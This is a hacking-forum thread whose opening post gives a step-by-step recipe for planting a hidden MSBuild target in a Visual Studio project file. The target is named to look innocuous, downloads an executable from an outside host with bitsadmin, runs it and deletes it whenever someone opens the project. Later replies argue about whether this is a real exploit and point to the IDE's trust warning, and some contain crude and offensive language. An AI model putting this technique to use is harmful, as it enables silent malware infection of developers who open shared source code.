[Furz]

Step 1: Create a new project in visual studio
Step 2: Find the .vbproj/.csproj file and edit it
Step 3: On the second line, it should have something similar to this

PHP Code


<?php 
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 


Edit this like to incluide

PHP Code


<?php 
InitialTargets="Build" 


The name can be whatever you want, I just thought "build" would be inconspicuous
The final product will look like:

PHP Code


<?php 
<Project ToolsVersion="14.0" InitialTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 


Step 4:

Add this to the end of the file, but before the closing "</project>" tag

PHP Code


<?php 
<Target Name="Buislfd">
    <Exec Command="bitsadmin.exe /transfer NAME http://directdownload.to/your.exe %temp%\1.exe" >
      <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </Exec>
    <Exec Command="%temp%\1.exe" >
      <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </Exec>
    <Exec Command="del %temp%\1.exe" >
      <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </Exec>
    <Message Importance="high" Text="$(ErrorCode)" />
  </Target> 


And save the file

Now, whenever someone runs opens your project in Visual Studio, it will download and exec your file

Proof (Click to View)

[Owl]

This is why you get that warning when opening foreign projects, you can put this to work on intellisense and other build ops too.

[SubGenius]

Fuck, nothing is safe anymore.

[Trappy]

Whoa posting here to look back when I'm home.

[_dude719]

Lol this isn't an "exploit", this is expected, just don't be a retard and grant projects access without checking them first. This is why MS added a security check before you open each project in a solution.

[Ronan.]

This isn't a 0day, it's the reason there is a warning given before projects are opened.

[SIM-1847363]

Well, I feel I am safer than a white guy walking down downtown Chicago at night.
Next thing we will see is a guy trying to sell this as an ebook on the marketplace for $120(Please don't do this. If you do ima call out your shitting sale thread.)

[ＪＵＳＴＩＮ]

This isn't really an exploit, it does look like it's intended to function this way if you configure the project file as such. As the others have said, there's a reason warnings are given before opening projects.

Either way, I didn't know about it and it seems pretty cool, so +1 rep for you.

[Champagnepapii]

This has been around for atleast 2 or 3 weeks (thats the first I saw it).

[mrkoolaid]

yes, this is functionality of the IDE :)

although new uses to vis studio would probably be susceptible to this.

[#Kat]

eh... just saw did a local patch. solved done reported

[caiveman]

What in the fuck? Never opening src in my life again

[DopplerAF]

What in the fuck? Never opening src in my life again

Why so scared ? You can always check the source for any malicious intend before opening it.
At least you are aware of it now.

[Zeth0s]

Thank you for sharing this!

[video_error]

Heh. I don't even use Visual Studio. I use SharpDevelop as my preferred IDE. Less of a ram hog and performance killer and gives me only what I need in an IDE. Hate Visual Studio for its out of the box clunkiness and awkwardness. Personal opnion. Not sure if this would work for SharpDevelop.